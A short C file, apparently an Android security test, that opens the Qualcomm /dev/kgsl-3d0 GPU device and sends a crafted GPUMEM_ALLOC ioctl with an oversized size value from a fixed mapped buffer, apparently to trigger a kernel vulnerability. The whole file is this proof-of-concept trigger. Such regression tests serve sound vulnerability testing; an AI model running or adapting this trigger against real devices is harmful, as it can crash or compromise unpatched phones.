You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
40 lines
1.3 KiB
40 lines
1.3 KiB
/**
|
|
* Copyright (C) 2018 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <unistd.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/syscall.h>
|
|
#include <fcntl.h>
|
|
|
|
#define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful
|
|
int main() {
|
|
int fd = open("/dev/kgsl-3d0", 0);
|
|
mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE,
|
|
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
*(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416;
|
|
*(uint32_t *)0x20000ff8 = (uint32_t)0x80;
|
|
*(uint32_t *)0x20000ffc = (uint32_t)0x8000;
|
|
*(uint32_t *)0x20001000 = (uint32_t)0x12345678;
|
|
ioctl(fd, 0xc018092ful, 0x20000ff0ul);
|
|
close(fd);
|
|
return 0;
|
|
}
|